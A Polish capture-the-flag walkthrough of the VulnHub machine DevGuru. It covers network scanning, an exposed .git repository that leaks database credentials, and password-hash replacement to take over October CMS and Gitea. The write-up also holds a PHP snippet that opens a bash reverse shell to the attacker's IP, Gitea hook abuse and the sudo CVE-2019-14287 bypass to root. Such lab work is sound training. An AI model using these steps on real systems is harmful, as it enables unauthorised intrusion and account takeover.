Zaczynam od skanu sieci, aby odnaleźć naszą maszynę.

netdiscover

[parrot@parrot][~/vulnhub/devguru]
└╼[]$sudo netdiscover -r 192.168.2.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                               
                                                                                                                                                             
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                                             
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.2.1     00:50:56:c0:00:08      1      60  VMware, Inc.                                                                                              
 192.168.2.2     00:50:56:f0:ed:fa      1      60  VMware, Inc.                                                                                              
 192.168.2.145   00:0c:29:ee:30:67      1      60  VMware, Inc.                                                                                              
 192.168.2.254   00:50:56:e2:f7:dc      1      60  VMware, Inc.

IP maszyny: 192.168.2.145.


NMap

[parrot@parrot][~/vulnhub/devguru]                                           
└╼[]$nmap -sC -sV 192.168.2.145 -p-                                          
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-06 23:04 CEST               
Nmap scan report for 192.168.2.145                                             
Host is up (0.00073s latency).                                                 
Not shown: 65532 closed tcp ports (conn-refused)                               
PORT     STATE SERVICE VERSION                                                 
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)     
| ssh-hostkey:                                                                 
|   2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)                 
|   256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)                
|_  256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)              
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))                          
|_http-generator: DevGuru                                                      
|_http-title: Corp - DevGuru                                                   
| http-git:                                                                    
|   192.168.2.145:80/.git/                                                     
|     Git repository found!                                                    
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: first commit                                        
|     Remotes:                                                                 
|       http://devguru.local:8585/frank/devguru-website.git                    
|_    Project type: PHP application (guessed from .gitignore)                  
|_http-server-header: Apache/2.4.29 (Ubuntu)                                   
8585/tcp open  unknown                                                         
| fingerprint-strings:                                                         
|   GenericLines:                                                              
|     HTTP/1.1 400 Bad Request                                                 
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request                          
|   GetRequest:                        
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Connection: close
|     Request                          
|   GetRequest:                        
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=32f5ac169d8deb82; Path=/; HttpOnly
|     Set-Cookie: _csrf=wBgH_u02QnP4yJ8KIFYSVFpFKnE6MTY1OTgyMDA0MTQ4OTkxMzkwMw; Path=/; Expires=Sun, 07 Aug 2022 21:07:21 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 06 Aug 2022 21:07:21 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions:                       
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=16044c52ab089b30; Path=/; HttpOnly
|     Set-Cookie: _csrf=yMdfk0ejwyAi7ZAapQa4bI5m9tw6MTY1OTgyMDA0MTUwNjQ1Nzk1OA; Path=/; Expires=Sun, 07 Aug 2022 21:07:21 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 06 Aug 2022 21:07:21 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi
?new-service :                         
SF-Port8585-TCP:V=7.92%I=7%D=8/6%Time=62EED80A%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,2A00,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x
SF:20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\
SF:x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=32f5ac169d8deb82;\
SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=wBgH_u02QnP4yJ8KIFYSVFpF
SF:KnE6MTY1OTgyMDA0MTQ4OTkxMzkwMw;\x20Path=/;\x20Expires=Sun,\x2007\x20Aug
SF:\x202022\x2021:07:21\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEORI
SF:GIN\r\nDate:\x20Sat,\x2006\x20Aug\x202022\x2021:07:21\x20GMT\r\n\r\n<!D
SF:OCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\x2
SF:0data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"vi
SF:ewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<met
SF:a\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title>\
SF:x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<link\
SF:x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-cr
SF:edentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">\n
SF:\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20a\
SF:x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20content
SF:=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pain
SF:less")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-
SF:Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20P
SF:ath=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=16044c52ab0
SF:89b30;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=yMdfk0ejwyAi7ZAap
SF:Qa4bI5m9tw6MTY1OTgyMDA0MTUwNjQ1Nzk1OA;\x20Path=/;\x20Expires=Sun,\x2007
SF:\x20Aug\x202022\x2021:07:21\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20
SF:SAMEORIGIN\r\nDate:\x20Sat,\x2006\x20Aug\x202022\x2021:07:21\x20GMT\r\n
SF:\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<
SF:head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20na
SF:me=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\
SF:n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<
SF:title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x20cu
SF:p\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/mani
SF:fest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"the
SF:me-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20conte
SF:nt=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<met
SF:a\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x20c
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Strona główna

Pierwsze co widać to domena devguru.local, zatem dodaję ją do /etc/hosts.

Z Wappalyzera widzimy, że jest tutaj October CMS, Lavarel oraz PHP.


FeroxBuster

[parrot@parrot][~/vulnhub/devguru]                                                                                                                          
└╼[]$feroxbuster -w /opt/SecLists/Discovery/Web-Content/quickhits.txt -u http://192.168.2.145 -d 1 -r                                                       
                                                                                                                                                              
 ___  ___  __   __     __      __         __   ___                                                                                                            
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__                                                                                                             
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___                                                                                                            
by Ben "epi" Risher 🤓                 ver: 2.3.3                                                                                                             
───────────────────────────┬──────────────────────                                                                                                            
 🎯  Target Url            │ http://192.168.2.145                                                                                                             
 🚀  Threads               │ 50                                                                                                                               
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/quickhits.txt                                                                                
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]                                                                               
 💥  Timeout (secs)7                                                                                                                                
 🦡  User-Agent            │ feroxbuster/2.3.3                                                                                                                
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml                                                                                               
 📍  Follow Redirects      │ true                                                                                                                             
 🔃  Recursion Depth       │ 1                                                                                                                                
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest                                                                            
───────────────────────────┴──────────────────────                                                                                                            
 🏁  Press [ENTER] to use the Scan Cancel Menu™                                                                                                               
──────────────────────────────────────────────────                                                                                                            
200        1l        2w       23c http://192.168.2.145/.git/HEAD                                                                                              
200       11l       29w      276c http://192.168.2.145/.git/config                                                                                            
200      977l     3275w   315757c http://192.168.2.145/.git/index                                                                                             
200        1l       10w      158c http://192.168.2.145/.git/logs/HEAD                                                                                         
200       32l       38w      413c http://192.168.2.145/.gitignore                                                                                             
200       52l      146w     1678c http://192.168.2.145/.htaccess                                                                                              
200       50l      231w     4296c http://192.168.2.145/adminer.php                                                                                            
200       34l      216w     1518c http://192.168.2.145/README.md                                                                                              
200      267l      788w        0c http://192.168.2.145/services                                                                                               
[####################] - 15s     2482/2482    0s      found:9       errors:0                                                                                  
[####################] - 14s     2482/2482    170/s   http://192.168.2.145

Mamy kilka trafów. Czyli .git, adminer.php, ale sprawdzę całość większym słownikiem.


/adminer.php

Jest Adminer 4.7.7, na którego nie ma exploitów na searchsploit.


Pod /backend/backend/auth/signin/ mamy panel logowania.

FeroxBuster złapał folder .git a w nim plik config. Mamy potencjalnego usera frank oraz link do repo http://devguru.local:8585/frank/devguru-website.git.


Port 8585

Mamy tutaj Gitea.

Jest exploit, ale potrzebujemy danych do logowania. Jest szansa, że przyda nam się to później.


Enumeracja .git

Sprawdzenie folderu .git zawsze warto przeprowadzić GitTools. Mamy tu gitdumper oraz extractor. Na początku użyłem dumpera, którym pobrałem folder .git znaleziony przez FeroxBustera.

sudo /opt/GitTools/Dumper/gitdumper.sh http://192.168.2.145/.git/ .
sudo /opt/GitTools/Extractor/extractor.sh . /.git_extracted

Mamy między innymi adminer.php wykryty przez FeroxBustera.

Wyszukanie po frazy frank nic ciekawego nie znalazło.

Inaczej w przypadku frazy password 😁

Plik database.php zawiera to hasło, dlatego przejrzałem całość.

        'mysql' => [                                                                                                                                                                          
            'driver'     => 'mysql',  
            'engine'     => 'InnoDB',                                          
            'host'       => 'localhost',                                                       
            'port'       => 3306,                                                              
            'database'   => 'octoberdb',                                                       
            'username'   => 'october',         
            'password'   => 'SQ66EBYx4GT3byXH',                                
            'charset'    => 'utf8mb4',
            'collation'  => 'utf8mb4_unicode_ci',                                              
            'prefix'     => '',      
            'varcharmax' => 191,     
        ],                       
                                       
        'pgsql' => [               
            'driver'   => 'pgsql', 
            'host'     => 'localhost', 
            'port'     => 5432,        
            'database' => 'database',
            'username' => 'root',     
            'password' => '',         
            'charset'  => 'utf8',     
            'prefix'   => '',        
            'schema'   => 'public',  
        ],                                     

        'sqlsrv' => [                          
            'driver'   => 'sqlsrv',            
            'host'     => 'localhost',         
            'port'     => 1433,                
            'database' => 'database',          
            'username' => 'root',              
            'password' => '',                  
            'prefix'   => '',                  
        ],

Mamy usera i hasło -> october:SQ66EBYx4GT3byXH. Najpierw sprawdziłem do panelu October CMS, ale nie działało, zadziałało na panel Adminera. W końcu config jest właśnie od Adminera.

Udało się wejść na panel. Szybko zlokalizowałem tabelę backend_users. Mamy tam informacje o userze frank wraz z hashem. Podjąłem nieskuteczne próby łamania.

Po długim googlowaniu, sprawdziłem ten hash na stronie poniżej.

https://www.tunnelsup.com/hash-analyzer/

Okazało się, że jest to bcrypt. Mając tę wiedzę, możemy spreparować hash i podmienić go na inny, ten przez nas znany. Ja podmieniłem hasło na password, a wygenerowałem je na stronie https://bcrypt.online/.


October CMS Dashboard

Udało się zalogować, jesteśmy w dashboardzie.

W tym momencie możemy w prosty sposób dostać się na maszynę. Należało wejść w CMS => Pages => Add. Teraz należy stworzyć nową stronę a w kodzie umieścić mały fragment. Który po wejściu automatycznie połączy się z naszym listenerem.

function onstart(){
     exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.2.128/9001 0>&1'");
}

Zapisałem stronę, a po wejściu na poniższy url, otrzymałem shella 😀


shell jako www-data

Kolejny krok był już trudniejszy. Użyłem LinPEAS, aby złapać potencjalne wektory ataku. Znalazłem interesujące informacje. W folderze /var/backups mamy backup aplikacji. Pliczek nie jest duży. Ma nieco ponad pół MB, ale po szybkim przejrzeniu to może być dobry trop.

Szukałem frazy frank w pliku i odkryłem, że ten plik to prawdopodobnie plik konfiguracyjny Gitea.

cat /var/backups/app.ini.bak | grep frank -A10 -B10

Mamy nawet tzw. secret_tokeny, ale po chwili scrollowania znalazłem hasło i usera. Jak widać na screenie jest to username i hasło do mysql, ja rozumiałem to dopiero po dłuższej chwili próbując wejść od razu na Gitea.

A tutaj kluczem jest dostanie się ponownie na Adminera, tym razem na bazę danych gitea.

Ponownie szybko znalazłem tabelę user, w której mamy ponownie franka, ale teraz mamy całkowicie inny hash. Jest to pbkdf2.

Podjąłem próby łamania hasha, oczywiście bezskuteczne. Znalazłem stronę, która generuje takie hashe -> https://neurotechnics.com/tools/pbkdf2-test

Dodatkową trudnością było ustawienie ilości bajtów tego hasha. Gdy dopasowałem oryginalny hash do tego tworzonego, ustaliłem, że liczba bajtów to 50, salt mamy podaną powyżej. Została umieszczona w generatorze. No i wygenerowałem proste hasło password.

xxxxxxxx = c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900

Dodatkowo sporo googlowałem ile powinno być Iterations. W końcu znalazłem w kodzie źródłowym Gitea, że dla pbkdf2 jest to 10000.

password = 8c1081ea93e4803d6aa627fca52970b8bb06c35e7fa2c47e1eae3e4f5e6c9515dfaf13d62292547583aef0ee683f92e71c40


gitea

Udało się zalogować na Gitea na poniższe dane frank:password. Teraz kolejny krok, czyli dostanie się na maszynę, tym razem już jako frank. Doczytałem, że jeżeli nasz user ma uprawnienia admina, możemy dodać w ustawieniach danego repo kod, który wykona się przy jakiejkolwiek modyfikacji repo. Wchodzimy w repo -> Settings -> Git Hooks. Tutaj na dole wrzuciłem prosty skrypt bashowy. Teraz wystarczyło, że zmodyfikowałem lub dodałem jakikolwiek plik w repo. Kod wykonał się, a ja otrzymałem odpowiedź na listenerze.


shell jako frank

Odpaliłem ponownie LinPEAS. Nasz user może wykonywać program sqlite3 z uprawnieniami roota. Jedyny szczegół jest taki, że potrzeba do tego hasła usera frank. Nie wiedziałem jak to przeskoczyć. Po długim googlowaniu podejrzałem wskazówkę, że należy zainteresować się wersją sudo.

Ta wersja sudo ma bardzo poważną podatność CVE-2019-14287, która pozwala na obejście zapytania o hasło. Szerzej opisane jest to tutaj https://www.exploit-db.com/exploits/47502

Mamy roota.


Root proof